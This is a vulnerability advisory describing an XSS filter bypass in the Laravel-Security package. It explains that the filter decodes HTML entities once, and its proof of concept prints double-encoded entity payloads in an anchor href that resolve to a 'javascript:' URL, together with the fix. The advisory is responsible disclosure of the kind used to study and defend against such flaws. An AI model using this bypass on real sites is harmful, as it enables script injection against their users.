Lavarel-Security XSS Filter Bypass

`*#Product: Lavarel-Security XSS Filter Bypass*  
*#Vulnerability: Mutation Based XSS Bypass *  
*#Impact: Medium/High*  
*#Authors: Rafay Baloch *  
*#Company: RHAinfoSEC *  
*#Website: http://rhainfosec.com  
*#Status: Fixed*  
  
*=========*  
*Description*  
*=========*  
  
Laravel Security is a port of the security class from Codeigniter 2.1 for  
Laravel 4.1. It relies upon a blacklist approach to filter out common  
malicious inputs.  
  
*=========*  
*Vulnerability*  
*==========*  
  
The vulnerability lies in the fact that the XSS filter was decoding HTML  
entities, therefore based upon this fact it was  
possible to construct a payload that would successfully bypass the  
filtering mechanisms and execute javascript.  
  
*=============*  
*Proof of concept*  
*=============*  
  
During intial test the following input was provided:  
  
<a  
href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41">Clickhere</a>  
  
The filter decodes the HTML entities and hence the attack was being  
blocked.  
  
After Decoding:  
  
<a href="javascript:alert(1)">Clickhere</a>  
  
Next, we double encoded the entities:  
  
<a  
href="&#38&#35&#49&#48&#54&#38&#35&#57&#55&#38&#35&#49&#49&#56&#38&#35&#57&#55&#38&#35&#49&#49&#53&#38&#35&#57&#57&#38&#35&#49&#49&#52&#38&#35&#49&#48&#53&#38&#35&#49&#49&#50&#38&#35&#49&#49&#54&#38&#35&#53&#56&#38&#35&#57&#57&#38&#35&#49&#49&#49&#38&#35&#49&#49&#48&#38&#35&#49&#48&#50&#38&#35&#49&#48&#53&#38&#35&#49&#49&#52&#38&#35&#49&#48&#57&#38&#35&#52&#48&#38&#35&#52&#57&#38&#35&#52&#49">Clickhere</a>  
  
And since the filter would decode the entities once, we are left with the  
following:  
  
  
<a  
href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41">Clickhere</a>  
  
Which is perfectly a valid syntax inside of href context and would execute  
javascript.  
  
*===*  
*Fix*  
*===*  
  
The vulnerability has been fixed, the latest version doesn't decode HTML  
entites and hence the attack is mitigated.  
  
  
*==========*  
*References*  
*==========*  
  
https://github.com/GrahamCampbell/Laravel-Security/issues/10#issuecomment-37816413  
`